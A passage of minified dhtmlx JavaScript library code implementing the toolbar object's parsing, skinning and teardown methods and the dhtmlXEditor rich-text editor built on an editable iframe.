ull;this._getPosition=null;this._setPosition=null;this._getIdByPosition=null;this._separatorObject=null;this._textObject=null;this._buttonObject=null;this._buttonSelectObject=null;this._buttonInputObject=null;this._buttonTwoStateObject=null;this._sliderObject=null;this._autoDetectVisibleArea=null;this._removeItem=null;this.setAlign=null;this.setSkin=null;this.setIconsPath=null;this.setIconPath=null;this.loadXML=null;this.loadXMLString=null;this.clearAll=null;this.addSpacer=null;this.removeSpacer=null;this.getType=null;this.getTypeExt=null;this.inArray=null;this.getParentId=null;this.addButton=null;this.addText=null;this.addButtonSelect=null;this.addButtonTwoState=null;this.addSeparator=null;this.addSlider=null;this.addInput=null;this.forEachItem=null;this.showItem=null;this.hideItem=null;this.isVisible=null;this.enableItem=null;this.disableItem=null;this.isEnabled=null;this.setItemText=null;this.getItemText=null;this.setItemToolTip=null;this.getItemToolTip=null;this.setItemImage=null;this.setItemImageDis=null;this.clearItemImage=null;this.clearItemImageDis=null;this.setItemState=null;this.getItemState=null;this.setItemToolTipTemplate=null;this.getItemToolTipTemplate=null;this.setValue=null;this.getValue=null;this.setMinValue=null;this.getMinValue=null;this.setMaxValue=null;this.getMaxValue=null;this.setWidth=null;this.getWidth=null;this.getPosition=null;this.setPosition=null;this.removeItem=null;this.addListOption=null;this.removeListOption=null;this.showListOption=null;this.hideListOption=null;this.isListOptionVisible=null;this.enableListOption=null;this.disableListOption=null;this.isListOptionEnabled=null;this.setListOptionPosition=null;this.getListOptionPosition=null;this.setListOptionText=null;this.getListOptionText=null;this.setListOptionToolTip=null;this.getListOptionToolTip=null;this.setListOptionImage=null;this.getListOptionImage=null;this.clearListOptionImage=null;this.forEachListOption=null;this.getAllListOptions=null;this.setListOptionSelected=null;this.getListOptionSelected=null;this.unload=null;this.setUserData=null;this.getUserData=null;this.setMaxOpen=null;this.items=null;this.conf=null};dhtmlXToolbarObject.prototype._autoDetectVisibleArea=function(){var a=window.dhx4.screenDim();this.tX1=a.left;this.tX2=a.right;this.tY1=a.top;this.tY2=a.bottom};dhtmlXToolbarObject.prototype._initObj=function(c){for(var a=0;a<c.length;a++){this._addItemToStorage(c[a])}if(this.conf.skin==\"dhx_terrace\"){this._improveTerraceSkin()}};dhtmlXToolbarObject.prototype._xmlToJson=function(v){var o=[];var A=v.getElementsByTagName(\"toolbar\");if(A!=null&&A[0]!=null){A=A[0];var x=function(e){var h=e.getElementsByTagName(\"itemText\");if(h!=null&&h[0]!=null){return window.dhx4._xmlNodeValue(h[0])}return null};var E=[\"id\",\"type\",\"hidden\",\"title\",\"text\",\"enabled\",\"img\",\"imgdis\",\"action\",\"openAll\",\"renderSelect\",\"mode\",\"maxOpen\",\"width\",\"value\",\"selected\",\"length\",\"textMin\",\"textMax\",\"toolTip\",\"valueMin\",\"valueMax\",\"valueNow\"];var g=[\"id\",\"type\",\"enabled\",\"disabled\",\"action\",\"selected\",\"img\",\"text\"];for(var c=0;c<A.childNodes.length;c++){if(A.childNodes[c].tagName==\"item\"){var n={};for(var C=0;C<E.length;C++){var l=A.childNodes[c].getAttribute(E[C]);if(l!=null){n[E[C]]=l}}for(var y=0;y<A.childNodes[c].childNodes.length;y++){if(A.childNodes[c].childNodes[y].tagName==\"item\"&&n.type==\"buttonSelect\"){var D={};for(var C=0;C<g.length;C++){var l=A.childNodes[c].childNodes[y].getAttribute(g[C]);if(l!=null){D[g[C]]=l}}var s=A.childNodes[c].childNodes[y].getElementsByTagName(\"userdata\");for(var C=0;C<s.length;C++){if(!D.userdata){D.userdata={}}var a={};try{a.name=s[C].getAttribute(\"name\")}catch(m){a.name=null}try{a.value=s[C].firstChild.nodeValue}catch(m){a.value=\"\"}if(a.name!=null){D.userdata[a.name]=a.value}}D.text=x(A.childNodes[c].childNodes[y])||D.text;if(n.options==null){n.options=[]}n.options.push(D)}if(A.childNodes[c].childNodes[y].tagName==\"userdata\"){if(n.userdata==null){n.userdata={}}var D={};try{D.name=A.childNodes[c].childNodes[y].getAttribute(\"name\")}catch(m){D.name=null}try{D.value=A.childNodes[c].childNodes[y].firstChild.nodeValue}catch(m){D.value=\"\"}if(D.name!=null){n.userdata[D.name]=D.value}}}n.text=x(A.childNodes[c])||n.text;o.push(n)}}x=null}return o};dhtmlXToolbarObject.prototype._addItemToStorage=function(l,n){var m=(l.id||this._genStr(24));var g=(l.type||\"\");if(g==\"spacer\"){this.addSpacer(this._lastId)}else{this._lastId=m}if(g!=\"\"&&this[\"_\"+g+\"Object\"]!=null){if(g==\"buttonSelect\"){if(l.options!=null){for(var h=0;h<l.options.length;h++){if(l.options[h].type==\"obj\"){l.options[h].type=\"button\"}if(l.options[h].type==\"sep\"){l.options[h].type=\"separator\"}}}}if(g==\"slider\"){var e={tip_template:\"toolTip\",value_min:\"valueMin\",value_max:\"valueMax\",value_now:\"valueNow\",text_min:\"textMin\",text_max:\"textMax\"};for(var c in e){if(l[e[c]]==null&&l[c]!=null){l[e[c]]=l[c]}}}if(g==\"buttonInput\"){if(l.value==null&&l.text!=null){l.value=l.text}}if(g==\"buttonTwoState\"){if(typeof(l.selected)==\"undefined\"&&typeof(l.pressed)!=\"undefined\"&&window.dhx4.s2b(l.pressed)){l.selected=true}}if(typeof(l.enabled)==\"undefined\"&&typeof(l.disabled)!=\"undefined\"&&window.dhx4.s2b(l.disabled)){l.enabled=false}if(l.imgDis==null&&l.img_disabled!=null){l.imgdis=l.img_disabled}if((typeof(l.openAll)==\"undefined\"||l.openAll==null)&&this.conf.skin==\"dhx_terrace\"){l.openAll=true}this.objPull[this.idPrefix+m]=new this[\"_\"+g+\"Object\"](this,m,l);this.objPull[this.idPrefix+m][\"type\"]=g;this.setPosition(m,n)}if(l.userdata!=null){for(var c in l.userdata){this.setUserData(m,c,l.userdata[c])}}if(l.options!=null){for(var h=0;h<l.options.length;h++){if(l.options[h].userdata!=null){for(var c in l.options[h].userdata){this.setListOptionUserData(l.id,l.options[h].id,c,l.options[h].userdata[c])}}}}};dhtmlXToolbarObject.prototype.setSkin=function(h,e){if(e===true){this.cont.className=this.cont.className.replace(/dhxtoolbar_icons_\\d{1,}/,\"dhxtoolbar_icons_\"+this.conf.iconSize)}else{this.conf.skin=h;if(this.conf.skin==\"dhx_skyblue\"){this.conf.sel_ofs_y=1}if(this.conf.skin==\"dhx_web\"){this.conf.sel_ofs_y=1;this.conf.sel_ofs_x=1}if(this.conf.skin==\"dhx_terrace\"){this.conf.sel_ofs_y=-1;this.conf.sel_ofs_x=0}this.cont.className=\"dhx_toolbar_\"+this.conf.skin+\" dhxtoolbar_icons_\"+this.conf.iconSize}for(var c in this.objPull){var g=this.objPull[c];if(g.type==\"slider\"){g.pen._detectLimits();g.pen._definePos();g.label.className=\"dhx_toolbar_slider_label_\"+this.conf.skin}if(g.type==\"buttonSelect\"){g.polygon.className=\"dhx_toolbar_poly_\"+this.conf.skin+\" dhxtoolbar_icons_\"+this.conf.iconSize}}if(h==\"dhx_terrace\"){this._improveTerraceSkin()}};dhtmlXToolbarObject.prototype.setAlign=function(a){this.conf.align=(a==\"right\"?\"right\":\"left\");this.base.className=(a==\"right\"?\"dhxtoolbar_float_right\":\"dhxtoolbar_float_left\");if(this._spacer){this._spacer.className=(a==\"right\"?\" dhxtoolbar_float_left\":\" dhxtoolbar_float_right\")}};dhtmlXToolbarObject.prototype.setIconSize=function(a){this.conf.iconSize=({18:true,24:true,32:true,48:true}[a]?a:18);this.setSkin(this.conf.skin,true);this.callEvent(\"_onIconSizeChange\",[this.conf.iconSize])};dhtmlXToolbarObject.prototype.setIconsPath=function(a){this.conf.icons_path=a};dhtmlXToolbarObject.prototype.setUserData=function(e,a,c){e=this.idPrefix+e;if(this.objPull[e]!=null){if(this.objPull[e].userData==null){this.objPull[e].userData={}}this.objPull[e].userData[a]=c}};dhtmlXToolbarObject.prototype.getUserData=function(c,a){c=this.idPrefix+c;if(this.objPull[c]!=null&&this.objPull[c].userData!=null){return this.objPull[c].userData[a]||null}return null};dhtmlXToolbarObject.prototype._isListOptionExists=function(a,e){if(this.objPull[this.idPrefix+a]==null){return false}var c=this.objPull[this.idPrefix+a];if(c.type!=\"buttonSelect\"){return false}if(c._listOptions[e]==null){return false}return true};dhtmlXToolbarObject.prototype.setListOptionUserData=function(a,h,c,g){if(!this._isListOptionExists(a,h)){return}var e=this.objPull[this.idPrefix+a]._listOptions[h];if(e.userData==null){e.userData={}}e.userData[c]=g};dhtmlXToolbarObject.prototype.getListOptionUserData=function(a,g,c){if(!this._isListOptionExists(a,g)){return null}var e=this.objPull[this.idPrefix+a]._listOptions[g];if(!e.userData){return null}return(e.userData[c]?e.userData[c]:null)};dhtmlXToolbarObject.prototype._improveTerraceSkin=function(){if(this.conf.terrace_radius==null){this.conf.terrace_radius=\"3px\"}var g=[];var h={separator:true,text:true};var m=[this.base];if(this._spacer!=null){m.push(this._spacer)}for(var o=0;o<m.length;o++){g[o]=[];for(var c=0;c<m[o].childNodes.length;c++){if(m[o].childNodes[c].idd!=null&&m[o].childNodes[c].style.display!=\"none\"){var n=this.idPrefix+m[o].childNodes[c].idd;if(this.objPull[n]!=null&&this.objPull[n].obj==m[o].childNodes[c]){g[o].push({a:n,type:this.objPull[n].type,node:this.objPull[n][this.objPull[n].type==\"buttonSelect\"?\"arw\":\"obj\"]})}}}m[o]=null}for(var o=0;o<g.length;o++){for(var c=0;c<g[o].length;c++){var r=g[o][c];var s=false;var l=false;if(!h[r.type]){if(c==g[o].length-1||(g[o][c+1]!=null&&h[g[o][c+1].type])){s=true}if(c==0||(c-1>=0&&g[o][c-1]!=null&&h[g[o][c-1].type])){l=true}}r.node.style.borderRightWidth=(s?\"1px\":\"0px\");r.node.style.borderTopRightRadius=r.node.style.borderBottomRightRadius=(s?this.conf.terrace_radius:\"0px\");if(r.type==\"buttonSelect\"){r.node.previousSibling.style.borderTopLeftRadius=r.node.previousSibling.style.borderBottomLeftRadius=(l?this.conf.terrace_radius:\"0px\");r.node.previousSibling._br=s;r.node.previousSibling._bl=l}else{r.node.style.borderTopLeftRadius=r.node.style.borderBottomLeftRadius=(l?this.conf.terrace_radius:\"0px\")}r.node._br=s;r.node._bl=l}}for(var o=0;o<g.length;o++){for(var c=0;c<g[o].length;c++){for(var n in g[o][c]){g[o][c][n]=null}g[o][c]=null}g[o]=null}g=m=null};dhtmlXToolbarObject.prototype._improveTerraceButtonSelect=function(e,c){var a=this.objPull[e];if(c==true){a.obj.style.borderBottomLeftRadius=(a.obj._bl?this.conf.terrace_radius:\"0px\");a.arw.style.borderBottomRightRadius=(a.obj._br?this.conf.terrace_radius:\"0px\")}else{a.obj.style.borderBottomLeftRadius=\"0px\";a.arw.style.borderBottomRightRadius=\"0px\"}a=null};if(typeof(window.dhtmlXCellObject)!=\"undefined\"){dhtmlXCellObject.prototype._createNode_toolbar=function(h,c,g,a,e){if(typeof(e)!=\"undefined\"){h=e}else{h=document.createElement(\"DIV\");h.className=\"dhx_cell_toolbar_\"+(this.conf.borders?\"def\":\"no_borders\");h.appendChild(document.createElement(\"DIV\"));h.firstChild.className=\"dhx_toolbar_base_18_dhx_skyblue\"}this.cell.insertBefore(h,this.cell.childNodes[this.conf.idx.cont]);this.conf.ofs_nodes.t.toolbar=true;this._updateIdx();return h};dhtmlXCellObject.prototype.attachToolbar=function(a){if(!(this.dataNodes.ribbon==null&&this.dataNodes.toolbar==null)){return}this.callEvent(\"_onBeforeContentAttach\",[\"toolbar\"]);if(typeof(a)==\"undefined\"){a={}}else{if(typeof(a)==\"string\"){a={skin:a}}}if(typeof(a.skin)==\"undefined\"){a.skin=this.conf.skin}a.parent=this._attachObject(\"toolbar\").firstChild;this.dataNodes.toolbar=new dhtmlXToolbarObject(a);this._adjustCont(this._idd);this.dataNodes.toolbar._masterCell=this;this.dataNodes.toolbar.attachEvent(\"_onIconSizeChange\",function(){this._masterCell._adjustCont()});a.parent=null;a=null;this.callEvent(\"_onContentAttach\",[]);return this.dataNodes.toolbar};dhtmlXCellObject.prototype.detachToolbar=function(){if(!this.dataNodes.toolbar){return}this.dataNodes.toolbar._masterCell=null;this.dataNodes.toolbar.unload();this.dataNodes.toolbar=null;delete this.dataNodes.toolbar;this._detachObject(\"toolbar\")};dhtmlXCellObject.prototype.showToolbar=function(){this._mtbShowHide(\"toolbar\",\"\")};dhtmlXCellObject.prototype.hideToolbar=function(){this._mtbShowHide(\"toolbar\",\"none\")};dhtmlXCellObject.prototype.getAttachedToolbar=function(){return this.dataNodes.toolbar}}function dhtmlXEditor(e,g){var c=this;this.conf={content:\"\",contentHTML:\"\",resizeTM:null,resizeTMTime:100,roMode:false,toolbar:false,iconsPath:\"\",evs:[\"focus\",\"blur\",\"keydown\",\"keyup\",\"keypress\",\"mouseup\",\"mousedown\",\"click\",\"touchend\"],iOSfix:(navigator.userAgent.match(/Mobile/gi)!=null&&navigator.userAgent.match(/iPad/gi)!=null&&navigator.userAgent.match(/AppleWebKit/gi)!=null)};this._doOnFocusChanged=null;this._doOnAccess=null;if(typeof(e)==\"object\"&&e!=null&&e.tagName==null){g=e.skin;if(e.content!=null){this.conf.content=e.content}if(e.contentHTML!=null){this.conf.contentHTML=e.contentHTML}if(e.iconsPath!=null){this.conf.iconsPath=e.iconsPath}if(e.toolbar!=null){this.conf.toolbar=window.dhx4.s2b(e.toolbar)}if(e.onFocusChanged!=null){this._doOnFocusChanged=e.onFocusChanged}if(e.onAccess!=null){this._doOnAccess=e.onAccess}e=e.parent}this.conf.skin=(g||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxeditor\")||\"dhx_skyblue\");if(typeof(e)==\"string\"){e=document.getElementById(e)}this.base=e;this.base.className+=\" dhxeditor_\"+this.conf.skin;while(this.base.childNodes.length>0){this.base.removeChild(this.base.childNodes[0])}var h=(window.dhx4.isIE?this.base.currentStyle.position:window.getComputedStyle(this.base,null).getPropertyValue(\"position\"));if(!(h==\"relative\"||h==\"absolute\")){this.base.style.position=\"relative\"}this.cell=new dhtmlXEditorCell(window.dhx4.newId(),this);this.base.appendChild(this.cell.cell);this.cBlock=document.createElement(\"DIV\");this.cBlock.className=\"dhxcont_content_blocker\";this.cBlock.style.display=\"none\";this.base.appendChild(this.cBlock);this.editor=document.createElement(\"IFRAME\");this.editor.className=\"dhxeditor_mainiframe\";this.editor.frameBorder=0;if(window.dhx4.isOpera){this.editor.scrolling=\"yes\"}this.setSizes();var a=this.editor;if(typeof(window.addEventListener)!=\"undefined\"){a.onload=function(){for(var l=0;l<c.conf.evs.length;l++){a.contentWindow.addEventListener(c.conf.evs[l],c._ev,false)}}}else{a.onreadystatechange=function(l){if(typeof(a.readyState)!=\"undefined\"&&a.readyState==\"complete\"){try{for(var m=0;m<c.conf.evs.length;m++){a.contentWindow.document.body.attachEvent(\"on\"+c.conf.evs[m],c._ev)}}catch(n){}}}}this._ev=function(m){m=m||event;var l=m.type;if(c.conf.iOSfix==true&&l==\"touchend\"){c.editor.contentWindow.focus();return}c.callEvent(\"onAccess\",[l,m]);if(typeof(c._doOnAccess)==\"function\"){c._doOnAccess(l,m)}else{if(typeof(c._doOnAccess)==\"string\"&&typeof(window[c._doOnAccess])==\"function\"){window[c._doOnAccess](l,m)}}};this._focus=function(){if(window.dhx4.isIE){this.editor.contentWindow.document.body.focus()}else{this.editor.contentWindow.focus()}};this.cell.attachObject(this.editor);this.edWin=this.editor.contentWindow;this.edDoc=this.edWin.document;this._prepareContent=function(n,q){var m=\"\";if(n===true&&this.getContent!=null){m=this.getContent()}var l=this.editor.contentWindow.document;l.open(\"text/html\",\"replace\");if(window.dhx4.isOpera){l.write(\"<html><head><style> html, body { overflow:auto;-webkit-overflow-scrolling: touch; padding:0px; height:100%; margin:0px; font-family:Tahoma; font-size:12px; background-color:#ffffff;} </style></head><body \"+(q!==true?\"contenteditable='true'\":\"\")+\" tabindex='0'></body></html>\")}else{if(window.dhx4.isKHTML){l.write(\"<html><head><style> html {overflow-x: auto;-webkit-overflow-scrolling: touch; overflow-y: auto;} body { overflow: auto; overflow-y: scroll;} html,body { padding:0px; height:100%; margin:0px; font-family:Tahoma; font-size:12px; background-color:#ffffff;} </style></head><body \"+(q!==true?\"contenteditable='true'\":\"\")+\" tabindex='0'></body></html>\")}else{if(window.dhx4.isIE){l.write(\"<html><head><style> html {overflow-y: auto;} body {overflow-y: scroll;-webkit-overflow-scrolling: touch;} html,body { overflow-x: auto; padding:0px; height:100%; margin:0px; font-family:Tahoma; font-size:12px; background-color: #ffffff; outline: none; } </style></head><body \"+(q!==true?\"contenteditable='true'\":\"\")+\" tabindex='0'></body></html>\")}else{l.write(\"<html><head><style> html,body { overflow-x: auto; overflow-y:-webkit-overflow-scrolling: touch; scroll; padding:0px; height:100%; margin:0px; font-family:Tahoma; font-size:12px; background-color:#ffffff;} </style></head><body \"+(q!==true?\"contenteditable='true'\":\"\")+\" tabindex='0'></body></html>\")}}}l.close();if(window.dhx4.isIE){l.contentEditable=(q!==true)}else{l.designMode=(q!==true?\"On\":\"Off\")}if(window.dhx4.isFF){try{l.execCommand(\"useCSS\",false,true)}catch(o){}}if(n===true&&this.setContent!=null){this.setContent(m)}};this._prepareContent();this._doOnResize=function(){window.clearTimeout(c.conf.resizeTM);c.conf.resizeTM=window.setTimeout(function(){if(c.setSizes){c.setSizes()}},c.conf.resizeTMTime)};this._runCommand=function(n,q){if(this.conf.roMode===true){return}if(arguments.length<2){q=null}if(window.dhx4.isIE){this.edWin.focus()}try{var m=this.editor.contentWindow.document;m.execCommand(n,false,q)}catch(o){}if(window.dhx4.isIE){this.edWin.focus();var l=this;window.setTimeout(function(){l.edWin.focus();l=null},1)}};this.applyBold=function(){this._runCommand(\"Bold\")};this.applyItalic=function(){this._runCommand(\"Italic\")};this.applyUnderscore=function(){this._runCommand(\"Underline\")};this.clearFormatting=function(){this._runCommand(\"RemoveFormat\");var l=this.getContent();l=l.replace(/<\\/?h\\d>/gi,\"\");this.setContent(l)};this._doOnClick=function(n){var m=n||window.event;var l=m.target||m.srcElement;c._showInfo(l)};this._doOnMouseDown=function(n){var m=n||window.event;var l=m.target||m.srcElement;c._showInfo(l)};this._doOnKeyUp=function(o){var n=o||window.event;var l=n.keyCode;var m=n.target||n.srcElement;if({37:1,38:1,39:1,40:1,13:1}[l]==1){c._showInfo(m)}};this._getParentByTag=function(l,n){n=n.toLowerCase();var m=l;do{if(n==\"\"||m.nodeName.toLowerCase()==n){return m}}while(m=m.parentNode);return l};this._isStyleProperty=function(m,q,l,o){q=q.toLowerCase();var r=m;do{if((r.nodeName.toLowerCase()==q)&&(r.style[l]==o)){return true}}while(r=r.parentNode);return false};this._setStyleProperty=function(l,o){this.style[o]=false;var m=this._getParentByTag(l,o);if(m&&(m.tagName.toLowerCase()==o)){this.style[o]=true}if(o==\"del\"&&this._getParentByTag(l,\"strike\")&&this._getParentByTag(l,\"strike\").tagName.toLowerCase()==\"strike\"){this.style.del=true}};this._showInfo=function(m){var m=(this._getSelectionBounds().end)?this._getSelectionBounds().end:m;if(!m||!this._setStyleProperty){return}try{if(this.edWin.getComputedStyle){var l=this.edWin.getComputedStyle(m,null);var n=((l.getPropertyValue(\"font-weight\")==401)?700:l.getPropertyValue(\"font-weight\"));this.style={fontStyle:l.getPropertyValue(\"font-style\"),fontSize:l.getPropertyValue(\"font-size\"),textDecoration:l.getPropertyValue(\"text-decoration\"),fontWeight:n,fontFamily:l.getPropertyValue(\"font-family\"),textAlign:l.getPropertyValue(\"text-align\")};if(window.dhx4.isKHTML){this.style.fontStyle=l.getPropertyValue(\"font-style\");this.style.vAlign=l.getPropertyValue(\"vertical-align\");this.style.del=this._isStyleProperty(m,\"span\",\"textDecoration\",\"line-through\");this.style.u=this._isStyleProperty(m,\"span\",\"textDecoration\",\"underline\")}}else{var l=m.currentStyle;this.style={fontStyle:l.fontStyle,fontSize:l.fontSize,textDecoration:l.textDecoration,fontWeight:l.fontWeight,fontFamily:l.fontFamily,textAlign:l.textAlign}}this._setStyleProperty(m,\"h1\");this._setStyleProperty(m,\"h2\");this._setStyleProperty(m,\"h3\");this._setStyleProperty(m,\"h4\");if(!window.dhx4.isKHTML){this._setStyleProperty(m,\"del\");this._setStyleProperty(m,\"sub\");this._setStyleProperty(m,\"sup\");this._setStyleProperty(m,\"u\")}this.callEvent(\"onFocusChanged\",[this.style,l])}catch(o){return null}};this._getSelectionBounds=function(){var q,n,s,m;if(this.edWin.getSelection){var r=this.edWin.getSelection();if(window.dhx4.isEdge&&r.rangeCount==0){return{root:null,start:null,end:null}}q=r.getRangeAt(r.rangeCount-1);s=q.startContainer;m=q.endContainer;n=q.commonAncestorContainer;if(s.nodeName==\"#text\"){n=n.parentNode}if(s.nodeName==\"#text\"){s=s.parentNode}if(s.nodeName.toLowerCase()==\"body\"){s=s.firstChild}if(m.nodeName==\"#text\"){m=m.parentNode}if(m.nodeName.toLowerCase()==\"body\"){m=m.lastChild}if(s==m){n=s}return{root:n,start:s,end:m}}else{if(this.edWin.document.selection){q=this.edDoc.selection.createRange();if(!q.duplicate){return null}n=q.parentElement();var o=q.duplicate();var l=q.duplicate();o.collapse(true);l.moveToElementText(o.parentElement());l.setEndPoint(\"EndToStart\",o);s=o.parentElement();o=q.duplicate();l=q.duplicate();l.collapse(false);o.moveToElementText(l.parentElement());o.setEndPoint(\"StartToEnd\",l);m=l.parentElement();if(s.nodeName.toLowerCase()==\"body\"){s=s.firstChild}if(m.nodeName.toLowerCase()==\"body\"){m=m.lastChild}if(s==m){n=s}return{root:n,start:s,end:m}}}return null};this.getContent=function(){if(!this.edDoc.body){return\"\"}else{if(window.dhx4.isFF){return this.editor.contentWindow.document.body.innerHTML.replace(/<\\/{0,}br\\/{0,}>\\s{0,}$/gi,\"\")}if(window.dhx4.isIE&&this.edDoc.body.innerText.length==0){return\"\"}return this.edDoc.body.innerHTML}};this.setContent=function(n){n=n||\"\";if(this.edDoc.body){var m=false;if(window.dhx4.isFF){var l=navigator.userAgent.match(/Firefox\\/(\\d*)/);m=(l!=null&&l[1]<28)}if(m){if(typeof(this.conf.ffTest)==\"undefined\"){this.editor.contentWindow.document.body.innerHTML=\"\";this._runCommand(\"InsertHTML\",\"test\");this.conf.ffTest=(this.editor.contentWindow.document.body.innerHTML.length>0)}if(this.conf.ffTest){this.editor.contentWindow.document.body.innerHTML=n}else{this.editor.contentWindow.document.body.innerHTML=\"\";if(n.length==0){n=\" \"}this._runCommand(\"InsertHTML\",n)}}else{this.editor.contentWindow.document.body.innerHTML=n}this.callEvent(\"onContentSet\",[])}else{if(!this.conf.firstLoadEv){this.conf.firstLoadEv=true;this.conf.firstLoadData=n;this._onFirstLoad=function(){c.setContent(c.conf.firstLoadData);if(typeof(window.addEventListener)==\"function\"){c.edWin.removeEventListener(\"load\",c._onFirstLoad,false)}else{c.edWin.detachEvent(\"onload\",c._onFirstLoad)}c.conf.firstLoadData=null;c.conf.firstLoadEv=false;c._onFirstLoad=null};if(typeof(window.addEventListener)==\"function\"){this.edWin.addEventListener(\"load\",this._onFirstLoad,false)}else{this.edWin.attachEvent(\"onload\",this._onFirstLoad)}}}};this.setContentHTML=function(l){window.dhx4.ajax.get(l,function(m){if(m.xmlDoc.responseText!=null){c.setContent(m.xmlDoc.responseText)}})};window.dhx4._eventable(this);this.attachEvent(\"onFocusChanged\",function(l){if(typeof(this._doOnFocusChanged)==\"function\"){this._doOnFocusChanged(l)}else{if(typeof(this._doOnFocusChanged)==\"string\"&&typeof(window[this._doOnFocusChanged])==\"function\"){window[this._doOnFocusChanged](l)}}});if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"resize\",this._doOnResize,false);this.edDoc.addEventListener(\"click\",this._doOnClick,false);this.edDoc.addEventListener(\"keyup\",this._doOnKeyUp,false);if(window.dhx4.isOpera){this.edDoc.addEventListener(\"mousedown\",this._doOnMouseDown,false)}}else{window.attachEvent(\"onresize\",this._doOnResize);this.edDoc.attachEvent(\"onclick\",this._doOnClick);this.edDoc.attachEvent(\"onkeyup\",this._doOnKeyUp)}this.unload=function(){if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"resize\",this._doOnResize,false);this.edDoc.removeEventListener(\"click\",this._doOnClick,false);this.edDoc.removeEventListener(\"keyup\",this._doOnKeyUp,false);if(window.dhx4.isOpera){this.edDoc.removeEventListener(\"mousedown\",this._doOnMouseDown,false)}for(var l=0;l<c.conf.evs.length;l++){a.contentWindow.removeEventListener(c.conf.evs[l],c._ev,false)}if(this.tb!=null&&this.conf.iOSfix==true){this.tb.cont.removeEventListener(\"touchend\",this._doOnIOSFix,false);this._doOnIOSFix=null}}else{window.detachEvent(\"onresize\",this._doOnResize,false);this.edDoc.detachEvent(\"onclick\",this._doOnClick);this.edDoc.detachEvent(\"onkeyup\",this._doOnKeyUp);for(var l=0;l<c.conf.evs.length;l++){a.contentWindow.document.body.detachEvent(\"on\"+c.conf.evs[l],c._ev)}}this._doOnAccess=null;this._doOnFocusChanged=null;if(typeof(window.addEventListener)==\"function\"){this.editor.onload=null}else{this.editor.onreadystatechange=null}this.editor.parentNode.removeChild(this.editor);this.editor=null;this.edDoc=null;this.edWin=null;this.cell._unload();this.cell=null;this.tb=null;window.dhx4._eventable(this,\"clear\");this.cBlock.parentNode.removeChild(this.cBlock);this.cBlock=null;this.base.className=String(this.base.className).replace(new RegExp(\"\\\\s{0,}dhxeditor_\"+this.conf.skin),\"\");while(this.base.childNodes.length>0){this.base.removeChild(this.base.childNodes[0])}this.base=null;this._doOnClick=null;this._doOnKeyUp=null;this._doOnMouseDown=null;this._ev=null;this._focus=null;this._prepareContent=null;this._doOnResize=null;this.setIconsPath=null;this.init=null;this.setSizes=null;this._runCommand=null;this.applyBold=null;this.applyItalic=null;this.applyUnderscore=null;this.clearFormatting=null;this._showInfo=null;this._getSelectionBounds=null;this.getContent=null;this.setContent=null;this.setContentHTML=null;this.setReadonly=null;this.isReadonly=null;this.unload=null;c=a=null};if(this.conf.toolbar==true&&typeof(this.attachToolbar)==\"function\"&&typeof(window.dhtmlXToolbarObject)==\"function\"){this.attachToolbar(this.conf.iconsPath);if(this.conf.iOSfix==true){this._doOnIOSFix=function(){c.editor.contentWindow.focus()};this.tb.cont.addEventListener(\"touchend\",this._doOnIOSFix,false)}}this.setIconsPath=function(l){this.conf.iconsPath=l};if(this.conf.content.length>0){this.setContent(this.conf.content);this.conf.content=\"\"}else{if(this.conf.contentHTML.length>0){this.setContentHTML(this.conf.contentHTML);this.conf.contentHTML=\"\"}}return this}dhtmlXEditor.prototype.setSizes=function(){this.cell._setSize(0,0,this.base.clientWidth,this.base.clientHeight);if(this.editor!=null){this.editor.style.left=\"5px\";this.editor.style.width=this.base.clientWidth-5+\"px\"}};dhtmlXEditor.prototype.setReadonly=function(a){this.conf.roMode=(a===true);this._prepareContent(true,this.conf.roMode);this.cBlock.style.display=(this.conf.roMode?\"\":\"none\")};dhtmlXEditor.prototype.isReadonly=function(a){return(this.conf.roMode||false)};dhtmlXEditor.prototype.setSkin=function(a){this.base.className=String(this.base.className).replace(new RegExp(\"dhxeditor_\"+this.conf.skin),\"dhxeditor_\"+a);this.conf.skin=this.cell.conf.skin=a;if(this.tb){this.cell.detachToolbar(a);this.tb=null;this.attachToolbar()}this.setSizes()};window.dhtmlXEditorCell=function(e,a){dhtmlXCellObject.apply(this,[e,\"_editor\"]);var c=this;this.editor=a;this.conf.skin=this.editor.conf.skin;this.attachEvent(\"_onCellUnload\",function(){this._stbUnload();this.editor=null;c=null});this._stbInit();return this};dhtmlXEditorCell.prototype=new dhtmlXCellObject();dhtmlXEditorCell.prototype._stbInit=function(){var l=this;var h=document.createElement(\"DIV\");h.className=\"dhx_cell_stb\";this.cell.insertBefore(h,this.cell.childNodes[this.conf.idx.cont]);h.onselectstart=function(a){a=a||event;a.cancelBubble=true;if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}return false};var g={bold:\"applyBold\",italic:\"applyItalic\",underline:\"applyUnderscore\",clearformat:\"clearFormatting\"};for(var e in g){var c=document.createElement(\"A\");c.href=\"javascript:void(0);\";c.tabIndex=-1;h.appendChild(c);c.onmousedown=c.onclick=function(a){a=a||event;if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}return false};var m=document.createElement(\"DIV\");m.className=\"dhx_cell_stb_button btn_\"+e;m._actv=e.charAt(0);m._cmd=g[e];c.appendChild(m);m.onclick=function(a){a=a||event;if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}return false};m.onmousedown=function(a){a=a||event;if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}l.editor[this._cmd]();l.editor.callEvent(\"onToolbarClick\",[this._actv])};m=c=null}h=null;this._stbUnload=function(){var a=this.cell.childNodes[this.conf.idx.stb];a.onselectstart=null;while(a.childNodes.length>0){a.lastChild.onmousedown=a.lastChild.onclick=null;a.lastChild.firstChild.onmousedown=a.lastChild.firstChild.onclick=null;a.lastChild.firstChild._actv=a.lastChild.firstChild._cmd=null;a.lastChild.removeChild(a.lastChild.firstChild);a.removeChild(a.lastChild)}a.parentNode.removeChild(a);a=l=null;this.conf.idx_data.stb=this.conf.ofs_nodes.t._getStbHeight=null;delete this.conf.ofs_nodes.t._getStbHeight;delete this.conf.idx_data.stb;this._updateIdx()};this.conf.ofs_nodes.t._getStbHeight=\"func\";this.conf.idx_data.stb=\"dhx_cell_stb\";this._updateIdx()};dhtmlXEditorCell.prototype._stbHide=function(){this.cell.childNodes[this.conf.idx.stb].style.display=\"none\"};dhtmlXEditorCell.prototype._getStbHeight=function(){return this.cell.childNodes[this.conf.idx.stb].offsetHeight};dhtmlXCellObject.prototype.attachEditor=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"editor\"]);var 